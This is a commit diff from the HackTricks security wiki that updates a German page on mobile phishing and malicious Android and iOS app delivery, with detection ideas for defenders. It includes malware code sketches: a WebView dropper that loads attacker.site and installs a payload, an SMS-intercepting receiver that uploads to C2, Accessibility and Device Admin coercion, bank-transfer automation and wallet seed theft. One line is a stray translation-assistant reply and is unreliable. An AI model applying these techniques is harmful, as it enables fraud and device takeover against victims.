Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-09-29 11:09:12 +00:00 · 2025-09-29 11:09:12 +00:00 · 6ede05236d
commit 6ede05236d
parent b24333b83c
4 changed files with 388 additions and 134 deletions
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
 logger.addHandler(handler2)


-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
    # logger.debug(f"Looking for {search} in {path}")
    if isinstance(obj, dict) and key in obj and obj[key] == search: 
        return obj, path
@ -54,26 +54,42 @@ def ref(matchobj):
            if href.endswith("/"):
                href = href+"README.md" # Fix if ref points to a folder
            if "#" in  href:
-                chapter, _path = findtitle(href.split("#")[0], book, "source_path")
-                title = " ".join(href.split("#")[1].split("-")).title()
-                logger.debug(f'Ref has # using title: {title}')
+                result = findtitle(href.split("#")[0], book, "source_path")
+                if result is not None:
+                    chapter, _path = result
+                    title = " ".join(href.split("#")[1].split("-")).title()
+                    logger.debug(f'Ref has # using title: {title}')
+                else:
+                    raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
            else:
-                chapter, _path = findtitle(href, book, "source_path")
-                logger.debug(f'Recursive title search result: {chapter["name"]}')
-                title = chapter['name']
+                result = findtitle(href, book, "source_path")
+                if result is not None:
+                    chapter, _path = result
+                    logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    title = chapter['name']
+                else:
+                    raise Exception(f"Chapter not found for path: {href}")
        except Exception as e:
            dir = path.dirname(current_chapter['source_path'])
            rel_path = path.normpath(path.join(dir,href))
            try:
                logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
                if "#" in  href:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
-                    title = " ".join(href.split("#")[1].split("-")).title()
-                    logger.debug(f'Ref has # using title: {title}')
+                    result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
+                        title = " ".join(href.split("#")[1].split("-")).title()
+                        logger.debug(f'Ref has # using title: {title}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
                else:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
-                    title = chapter["name"]
-                    logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
+                        title = chapter["name"]
+                        logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
            except Exception as e:
                logger.debug(e)
                logger.error(f'Error getting chapter title: {rel_path}')
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -768,7 +768,7 @@
    - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
  - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
  - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
  - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
  - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
  - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -837,8 +837,9 @@
  - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
  - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)

 # 🤖 AI
 - [AI Security](AI/README.md)
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@ -1,67 +1,67 @@
-# Mobile Phishing & Malicious App Distribution (Android & iOS)
+# Mobile-Phishing & Verbreitung bösartiger Apps (Android & iOS)

 {{#include ../../banners/hacktricks-training.md}}

 > [!INFO]
-> Diese Seite behandelt Techniken, die von Bedrohungsakteuren verwendet werden, um **bösartige Android-APKs** und **iOS-Mobilkonfigurationsprofile** durch Phishing (SEO, Social Engineering, gefälschte Stores, Dating-Apps usw.) zu verteilen.
-> Das Material ist aus der SarangTrap-Kampagne adaptiert, die von Zimperium zLabs (2025) und anderen öffentlichen Forschungen aufgedeckt wurde.
+> Diese Seite beschreibt Techniken, die von Threat Actors verwendet werden, um **bösartige Android-APKs** und **iOS mobile-configuration profiles** über Phishing (SEO, Social Engineering, Fake-Stores, Dating-Apps, etc.) zu verbreiten.
+> Das Material basiert auf der SarangTrap-Kampagne, aufgedeckt von Zimperium zLabs (2025), und weiterer öffentlicher Forschung.

-## Angriffsfluss
+## Angriffsablauf

 1. **SEO/Phishing-Infrastruktur**
-* Registrieren Sie Dutzende von ähnlich aussehenden Domains (Dating, Cloud-Sharing, Autodienst…).
-– Verwenden Sie lokale Sprachkeywords und Emojis im `<title>`-Element, um bei Google zu ranken.
-– Hosten Sie *sowohl* Android (`.apk`) als auch iOS Installationsanleitungen auf derselben Landingpage.
-2. **Erste Phase des Downloads**
-* Android: direkter Link zu einer *nicht signierten* oder „Drittanbieter-Store“ APK.
-* iOS: `itms-services://` oder einfacher HTTPS-Link zu einem bösartigen **mobileconfig**-Profil (siehe unten).
-3. **Post-Installations-Social Engineering**
-* Bei der ersten Ausführung fragt die App nach einem **Einladungs-/Verifizierungscode** (Illusion des exklusiven Zugangs).
-* Der Code wird **über HTTP POST** an das Command-and-Control (C2) gesendet.
-* C2 antwortet `{"success":true}` ➜ Malware wird fortgesetzt.
-* Sandbox-/AV-Dynamikanalyse, die niemals einen gültigen Code einreicht, sieht **kein bösartiges Verhalten** (Evasion).
-4. **Missbrauch von Laufzeitberechtigungen** (Android)
-* Gefährliche Berechtigungen werden nur **nach positiver C2-Antwort** angefordert:
+* Registrierung Dutzender Look-alike-Domains (Dating, cloud share, Autodienst…).
+– Nutzung lokaler Schlüsselwörter und Emojis im `<title>`-Element, um in Google zu ranken.
+– Auf derselben Landing-Page sowohl Android (`.apk`) als auch iOS-Installationsanweisungen hosten.
+2. **Erste Stufe: Download**
+* Android: direkter Link zu einer *unsigned* oder „third-party store“ APK.
+* iOS: `itms-services://` oder plain HTTPS-Link zu einem bösartigen **mobileconfig**-Profile (siehe unten).
+3. **Social Engineering nach der Installation**
+* Beim ersten Start fragt die App nach einem **Einladungs-/Verifikationscode** (Illusion exklusiven Zugriffs).
+* Der Code wird **per POST über HTTP** an das Command-and-Control (C2) gesendet.
+* C2 antwortet `{"success":true}` ➜ Malware setzt sich fort.
+* Sandbox-/AV-Dynamikanalysen, die niemals einen gültigen Code senden, sehen **kein bösartiges Verhalten** (Evasion).
+4. **Missbrauch von Laufzeitberechtigungen (Android)**
+* Gefährliche Berechtigungen werden erst **nach positiver C2-Antwort** angefragt:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-<!-- Ältere Builds fragten auch nach SMS-Berechtigungen -->
+<!-- Older builds also asked for SMS permissions -->
 ```
-* Neuere Varianten **entfernen `<uses-permission>` für SMS aus `AndroidManifest.xml`**, lassen jedoch den Java/Kotlin-Codepfad, der SMS über Reflection liest ⇒ senkt den statischen Score, während er auf Geräten, die die Berechtigung über `AppOps`-Missbrauch oder alte Ziele gewähren, weiterhin funktional bleibt.
-5. **Fassade UI & Hintergrundsammlung**
-* Die App zeigt harmlose Ansichten (SMS-Viewer, Galerieauswahl), die lokal implementiert sind.
-* In der Zwischenzeit exfiltriert sie:
+* Neuere Varianten **entfernen `<uses-permission>` für SMS aus der `AndroidManifest.xml`**, lassen aber den Java/Kotlin-Codepfad, der SMS per Reflection liest ⇒ senkt den statischen Score, bleibt aber auf Geräten funktionsfähig, die die Berechtigung via `AppOps`-Missbrauch oder bei alten Targets gewähren.
+5. **Fassade-UI & Hintergrundsammlung**
+* Die App zeigt harmlose Views (SMS-Viewer, Gallery-Picker), lokal implementiert.
+* Gleichzeitig exfiltriert sie:
 - IMEI / IMSI, Telefonnummer
- Vollständiger `ContactsContract`-Dump (JSON-Array)
- JPEG/PNG von `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban), um die Größe zu reduzieren
- Optionaler SMS-Inhalt (`content://sms`)
-Payloads werden **batch-zippt** und über `HTTP POST /upload.php` gesendet.
-6. **iOS-Liefertechnik**
-* Ein einzelnes **Mobilkonfigurationsprofil** kann `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` usw. anfordern, um das Gerät in eine „MDM“-ähnliche Aufsicht einzuschreiben.
-* Social-Engineering-Anweisungen:
-1. Einstellungen öffnen ➜ *Profil heruntergeladen*.
-2. Dreimal auf *Installieren* tippen (Screenshots auf der Phishing-Seite).
-3. Das nicht signierte Profil vertrauen ➜ Angreifer erhält *Kontakte* & *Foto*-Berechtigung ohne App Store-Überprüfung.
+- Voller `ContactsContract`-Dump (JSON-Array)
+- JPEG/PNG aus `/sdcard/DCIM`, komprimiert mit [Luban](https://github.com/Curzibn/Luban) zur Größenreduktion
+- Optional SMS-Inhalte (`content://sms`)
+Payloads werden **batch-gezipt** und via `HTTP POST /upload.php` gesendet.
+6. **iOS-Auslieferungstechnik**
+* Ein einzelnes mobile-configuration profile kann `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. anfordern, um das Gerät in eine „MDM“-ähnliche Aufsicht einzubinden.
+* Social-Engineering-Anleitung:
+1. Einstellungen öffnen ➜ *Profile heruntergeladen*.
+2. Dreimal auf *Install* tippen (Screenshots auf der Phishing-Seite).
+3. Dem unsigned Profile vertrauen ➜ Angreifer erhält *Contacts*- & *Photo*-Entitlement ohne App Store-Review.
 7. **Netzwerkschicht**
-* Einfaches HTTP, oft auf Port 80 mit HOST-Header wie `api.<phishingdomain>.com`.
+* Plain HTTP, oft auf Port 80 mit HOST-Header wie `api.<phishingdomain>.com`.
 * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (kein TLS → leicht zu erkennen).

-## Defensive Tests / Red-Team Tipps
+## Defensive Testing / Red-Team Tipps

-* **Umgehung der dynamischen Analyse** – Automatisieren Sie die Einladungscode-Phase mit Frida/Objection, um den bösartigen Zweig zu erreichen.
-* **Manifest vs. Laufzeit-Diff** – Vergleichen Sie `aapt dump permissions` mit der Laufzeit `PackageManager#getRequestedPermissions()`; fehlende gefährliche Berechtigungen sind ein Warnsignal.
-* **Netzwerk-Kanary** – Konfigurieren Sie `iptables -p tcp --dport 80 -j NFQUEUE`, um unsichere POST-Bursts nach der Codeeingabe zu erkennen.
-* **mobileconfig-Inspektion** – Verwenden Sie `security cms -D -i profile.mobileconfig` auf macOS, um `PayloadContent` aufzulisten und übermäßige Berechtigungen zu erkennen.
+* **Dynamic Analysis Bypass** – Während der Malware-Analyse die Einladungs-Code-Phase mit Frida/Objection automatisieren, um den bösartigen Zweig zu erreichen.
+* **Manifest vs. Runtime Diff** – `aapt dump permissions` mit der Laufzeit-`PackageManager#getRequestedPermissions()` vergleichen; fehlende gefährliche Perms sind verdächtig.
+* **Network Canary** – `iptables -p tcp --dport 80 -j NFQUEUE` konfigurieren, um unstete POST-Bursts nach Code-Eingabe zu erkennen.
+* **mobileconfig Inspection** – `security cms -D -i profile.mobileconfig` auf macOS nutzen, um `PayloadContent` aufzulisten und übermäßige Entitlements zu erkennen.

-## Blue-Team Erkennungsideen
+## Blue-Team Erkennungsansätze

-* **Zertifikatstransparenz / DNS-Analytik**, um plötzliche Ausbrüche von keyword-reichen Domains zu erfassen.
-* **User-Agent & Pfad Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb des Google Play.
-* **Einladungs-Code-Telemetrie** – POST von 6–8-stelligen numerischen Codes kurz nach der APK-Installation kann auf Staging hinweisen.
-* **MobileConfig-Signierung** – Blockieren Sie nicht signierte Konfigurationsprofile über die MDM-Richtlinie.
+* **Certificate Transparency / DNS-Analysen**, um plötzliche Wellen keywordreicher Domains zu erfassen.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` von Dalvik-Clients außerhalb des Google Play-Kontexts.
+* **Invite-code Telemetrie** – POSTs von 6–8-stelligen numerischen Codes kurz nach APK-Installation können auf Staging hinweisen.
+* **MobileConfig Signing** – Unsigned configuration profiles per MDM-Policy blockieren.

-## Nützlicher Frida-Snippet: Auto-Bypass Einladungscode
+## Nützliches Frida-Snippet: Auto-Bypass Invitation Code
 ```python
 # frida -U -f com.badapp.android -l bypass.js --no-pause
 # Hook HttpURLConnection write to always return success
@ -88,28 +88,28 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex
 ```
 ---

-## Android WebView Zahlung Phishing (UPI) – Dropper + FCM C2 Muster
+## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

-Dieses Muster wurde in Kampagnen beobachtet, die Regierungsleistungs-Themen missbrauchen, um indische UPI-Anmeldeinformationen und OTPs zu stehlen. Betreiber verknüpfen seriöse Plattformen für die Lieferung und Resilienz.
+Dieses Muster wurde in Kampagnen beobachtet, die Themen zu staatlichen Leistungen missbrauchen, um indische UPI-Zugangsdaten und OTPs zu stehlen. Betreiber verknüpfen vertrauenswürdige Plattformen, um Zustellung und Resilienz zu gewährleisten.

-### Lieferkette über vertrauenswürdige Plattformen
- YouTube-Video-Ablenkung → Beschreibung enthält einen Kurzlink
- Kurzlink → GitHub Pages Phishing-Seite, die das legitime Portal imitiert
- Dasselbe GitHub-Repo hostet eine APK mit einem gefälschten „Google Play“-Badge, das direkt auf die Datei verlinkt
- Dynamische Phishing-Seiten sind auf Replit aktiv; der Remote-Befehlskanal nutzt Firebase Cloud Messaging (FCM)
+### Delivery chain across trusted platforms
+- YouTube-Video-Köder → Beschreibung enthält einen Kurzlink
+- Kurzlink → GitHub Pages phishing site, die das legitime Portal imitiert
+- Dasselbe GitHub-Repo hostet eine APK mit einem gefälschten “Google Play”-Badge, das direkt auf die Datei verlinkt
+- Dynamische phishing pages sind auf Replit aktiv; der Remote-Kommando-Kanal verwendet Firebase Cloud Messaging (FCM)

-### Dropper mit eingebettetem Payload und Offline-Installation
- Die erste APK ist ein Installer (Dropper), der die echte Malware unter `assets/app.apk` liefert und den Benutzer auffordert, Wi‑Fi/mobile Daten zu deaktivieren, um die Cloud-Erkennung zu umgehen.
- Der eingebettete Payload wird unter einem harmlosen Label (z. B. „Sichere Aktualisierung“) installiert. Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden.
+### Dropper with embedded payload and offline install
+- Die erste APK ist ein Installer (dropper), der die eigentliche Malware in `assets/app.apk` ausliefert und den Nutzer auffordert, Wi‑Fi/mobile Daten zu deaktivieren, um Cloud-Erkennung zu erschweren.
+- Der eingebettete Payload installiert sich unter einem harmlosen Namen (z. B. “Secure Update”). Nach der Installation sind sowohl der Installer als auch der Payload als separate Apps vorhanden.

-Statische Triage-Tipp (grep nach eingebetteten Payloads):
+Tipp zur statischen Triage (grep nach embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
-### Dynamische Endpunktentdeckung über Shortlink
- Malware ruft eine Klartext-, durch Kommas getrennte Liste von aktiven Endpunkten von einem Shortlink ab; einfache String-Transformationen erzeugen den endgültigen Pfad der Phishing-Seite.
+### Dynamic endpoint discovery via shortlink
+- Malware lädt eine plain-text, comma-separated Liste mit live endpoints von einem shortlink herunter; einfache string transforms erzeugen den finalen phishing page path.

 Beispiel (bereinigt):
 ```
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
 UPI credential POST: https://sqcepo.replit.app/addup.php
 SMS upload:           https://sqcepo.replit.app/addsm.php
 ```
-Pseudo-Code:
+Pseudocode:
 ```java
 String csv = httpGet(shortlink);
 String[] parts = csv.split(",");
@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### WebView-basierte UPI-Anmeldeinformationen-Erfassung
- Der Schritt „Zahlung von ₹1 / UPI‑Lite“ lädt ein HTML-Formular des Angreifers von dem dynamischen Endpunkt innerhalb eines WebView und erfasst sensible Felder (Telefon, Bank, UPI-PIN), die an `addup.php` `POST`ed werden.
+### WebView-basierte UPI credential harvesting
+- Der “Make payment of ₹1 / UPI‑Lite” Schritt lädt ein bösartiges HTML-Formular vom dynamischen Endpoint innerhalb einer WebView und erfasst sensible Felder (Telefonnummer, Bank, UPI PIN), die per `POST` an `addup.php` gesendet werden.

 Minimaler Loader:
 ```java
@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### Selbstverbreitung und SMS/OTP-Abfang
+### Selbstverbreitung und SMS/OTP-Abfangung
 - Aggressive Berechtigungen werden beim ersten Start angefordert:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
@ -144,8 +144,8 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
- Kontakte werden verwendet, um massenhaft Smishing-SMS von dem Gerät des Opfers zu versenden.
- Eingehende SMS werden von einem Broadcast-Receiver abgefangen und mit Metadaten (Absender, Text, SIM-Slot, gerätespezifische zufällige ID) an `/addsm.php` hochgeladen.
+- Kontakte werden durchlaufen, um smishing-SMS massenhaft vom Gerät des Opfers zu versenden.
+- Eingehende SMS werden von einem broadcast receiver abgefangen und zusammen mit Metadaten (sender, body, SIM slot, per-device random ID) zu `/addsm.php` hochgeladen.

 Receiver-Skizze:
 ```java
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 }
 ```
-### Firebase Cloud Messaging (FCM) als resilientes C2
- Die Nutzlast registriert sich bei FCM; Push-Nachrichten enthalten ein `_type`-Feld, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. Phishing-Textvorlagen aktualisieren, Verhaltensweisen umschalten).
+### Firebase Cloud Messaging (FCM) als robustes C2
+- Die payload registriert sich bei FCM; Push-Nachrichten enthalten ein `_type`-Feld, das als Schalter verwendet wird, um Aktionen auszulösen (z. B. Aktualisierung von phishing-Textvorlagen, Umschalten von Verhalten).

-Beispiel FCM-Nutzlast:
+Beispiel-FCM-Payload:
 ```json
 {
 "to": "<device_fcm_token>",
@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break;
 }
 }
 ```
-### Jagdmuster und IOCs
- APK enthält sekundäre Payload unter `assets/app.apk`
+### Hunting patterns and IOCs
+- APK enthält sekundären Payload in `assets/app.apk`
 - WebView lädt Zahlung von `gate.htm` und exfiltriert zu `/addup.php`
 - SMS-Exfiltration zu `/addsm.php`
- Kurzlink-gesteuertes Konfigurationsabrufen (z.B. `rebrand.ly/*`), das CSV-Endpunkte zurückgibt
- Apps, die als generisches „Update/Sicheres Update“ gekennzeichnet sind
- FCM `data` Nachrichten mit einem `_type` Diskriminator in nicht vertrauenswürdigen Apps
+- Shortlink-gesteuerter Konfigurationsabruf (z. B. `rebrand.ly/*`) mit zurückgegebenen CSV-Endpunkten
+- Apps mit der Bezeichnung „Update/Secure Update“
+- FCM `data`-Nachrichten mit einem `_type`-Discriminator in nicht vertrauenswürdigen Apps

-### Erkennungs- und Verteidigungsideen
- Markieren Sie Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und dann eine zweite APK von `assets/` seitlich zu laden.
- Alarm bei der Berechtigungstuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsflüsse.
- Egress-Überwachung für `POST /addup.php|/addsm.php` auf nicht-unternehmensinternen Hosts; blockieren Sie bekannte Infrastrukturen.
- Mobile EDR-Regeln: nicht vertrauenswürdige App, die sich für FCM registriert und auf ein `_type` Feld verzweigt.
+### Detection & defence ideas
+- Markiere Apps, die Benutzer anweisen, das Netzwerk während der Installation zu deaktivieren und dann ein zweites APK aus `assets/` zu sideloaden.
+- Alarm bei dem Berechtigungs-Tupel: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-basierte Zahlungsflüsse.
+- Egress-Monitoring für `POST /addup.php|/addsm.php` auf nicht-korporativen Hosts; bekannte Infrastruktur blockieren.
+- Mobile EDR-Regeln: nicht vertrauenswürdige App registriert sich für FCM und verzweigt anhand eines `_type`-Felds.

 ---

+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn Fallstudie
+
+Die RatOn banker/RAT-Kampagne (ThreatFabric) ist ein konkretes Beispiel dafür, wie moderne mobile phishing-Operationen WebView-Dropper, Accessibility-getriebene UI-Automatisierung, Overlays/Ransom, Device-Admin-Zwang, Automated Transfer System (ATS), die Übernahme von Crypto-Wallets und sogar NFC-Relay-Orchestrierung miteinander verbinden. Dieser Abschnitt abstrahiert die wiederverwendbaren Techniken.
+
+### Stage-1: WebView → native install bridge (dropper)
+Angreifer präsentieren eine WebView, die auf eine Angreifer-Seite zeigt, und injizieren eine JavaScript-Schnittstelle, die einen nativen Installer exponiert. Ein Tippen auf einen HTML-Button ruft nativen Code auf, der ein in den Assets des dropper gebündeltes second-stage APK installiert und dieses anschließend direkt startet.
+
+Minimal pattern:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Bitte füge den HTML-/Markdown-Inhalt der Seite ein, den ich übersetzen soll. Ich übersetze nur den englischen Fließtext ins Deutsche und lasse Tags, Links, Pfade, Code und spezielle Referenzen unverändert.
+```html
+<button onclick="bridge.installApk()">Install</button>
+```
+Nach der Installation startet der dropper die payload über ein explizites package/activity:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Hunting-Idee: nicht vertrauenswürdige Apps rufen `addJavascriptInterface()` auf und exponieren installer-ähnliche Methoden an WebView; APK liefert eine eingebettete sekundäre Payload unter `assets/` und ruft die Package Installer Session API auf.
+
+### Zustimmungsablauf: Accessibility + Device Admin + nachfolgende Runtime-Eingabeaufforderungen
+Stage-2 öffnet ein WebView, das eine “Access”-Seite hostet. Deren Button ruft eine exportierte Methode auf, die das Opfer zu den Accessibility-Einstellungen navigiert und das Aktivieren des bösartigen Dienstes anfordert. Sobald gewährt, verwendet die Malware Accessibility, um automatisch durch nachfolgende Runtime-Berechtigungsdialoge (contacts, overlay, manage system settings, etc.) zu klicken und fordert Device Admin an.
+
+- Accessibility hilft programmatisch, spätere Aufforderungen anzunehmen, indem es Buttons wie “Allow”/“OK” im Node-Baum findet und Klicks auslöst.
+- Overlay-Berechtigungsprüfung/-anfrage:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+Siehe auch:
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom via WebView
+Operatoren können Befehle ausgeben, um:
+- eine Vollbild-Overlay von einer URL zu rendern, oder
+- inline HTML zu übergeben, das in ein WebView-Overlay geladen wird.
+
+Wahrscheinliche Verwendungsfälle: Nötigung (PIN-Eingabe), Öffnen der Wallet zum Abgreifen von PINs, Erpressungsnachrichten. Einen Befehl bereithalten, um sicherzustellen, dass die Overlay-Berechtigung erteilt ist, falls sie fehlt.
+
+### Remote control model – text pseudo-screen + screen-cast
+- Niedrige Bandbreite: periodisch den Accessibility node tree dumpen, sichtbare Texte/Rollen/Bounds serialisieren und als pseudo-screen an C2 senden (Befehle wie `txt_screen` einmalig und `screen_live` kontinuierlich).
+- Hohe Qualität: MediaProjection anfordern und bei Bedarf screen-casting/recording starten (Befehle wie `display` / `record`).
+
+### ATS playbook (bank app automation)
+Anhand einer JSON-Aufgabe die Bank-App öffnen, die UI via Accessibility mit einer Mischung aus Textabfragen und Koordinaten-Taps steuern und die Zahlungs-PIN des Opfers eingeben, wenn dazu aufgefordert.
+
+Example task:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Example texts seen in one target flow (CZ → EN):
+- "Nová platba" → "Neue Zahlung"
+- "Zadat platbu" → "Zahlung eingeben"
+- "Nový příjemce" → "Neuer Empfänger"
+- "Domácí číslo účtu" → "Inländische Kontonummer"
+- "Další" → "Weiter"
+- "Odeslat" → "Senden"
+- "Ano, pokračovat" → "Ja, fortfahren"
+- "Zaplatit" → "Bezahlen"
+- "Hotovo" → "Fertig"
+
+Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
+
+### Crypto wallet seed extraction
+Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: entsperren (gestohlener PIN oder angegebenes Passwort), zu Security/Recovery navigieren, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
+
+### Device Admin coercion
+Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
+
+- Sofortige Sperre:
+```java
+dpm.lockNow();
+```
+- Aktuelle Anmeldeinformation ablaufen lassen, um eine Änderung zu erzwingen (Accessibility erfasst neuen PIN/Passwort):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- Erzwinge eine nicht-biometrische Entsperrung, indem keyguard biometric features deaktiviert werden:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Hinweis: Viele DevicePolicyManager-Kontrollen erfordern auf aktuellen Android-Versionen Device Owner/Profile Owner; einige OEM-Builds können jedoch lax sein. Immer auf dem Ziel-OS/OEM validieren.
+
+### NFC-Relay-Orchestrierung (NFSkate)
+Stage-3 kann ein externes NFC-relay-Modul installieren und starten (z. B. NFSkate) und ihm sogar eine HTML-Vorlage übergeben, um das Opfer während des Relays zu führen. Dies ermöglicht kontaktloses card-present cash-out neben online ATS.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator-Befehlsatz (Beispiel)
+- UI/Zustand: `txt_screen`, `screen_live`, `display`, `record`
+- Sozial: `send_push`, `Facebook`, `WhatsApp`
+- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Gerät: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Kommunikation/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Erkennungs- & Abwehrideen (RatOn-Stil)
+- Nach WebViews suchen, die mit `addJavascriptInterface()` Installer-/Permission-Methoden exponieren; Seiten, die auf “/access” enden und Accessibility-Eingabeaufforderungen auslösen.
+- Alarm bei Apps, die kurz nach Gewährung des Service-Zugriffs eine hohe Rate an Accessibility-Gesten/Klicks erzeugen; Telemetrie, die Accessibility-Node-Dumps ähnelt und an C2 gesendet wird.
+- Device Admin-Policy-Änderungen in nicht vertrauenswürdigen Apps überwachen: `lockNow`, Passwortablauf, Keyguard-Feature-Toggles.
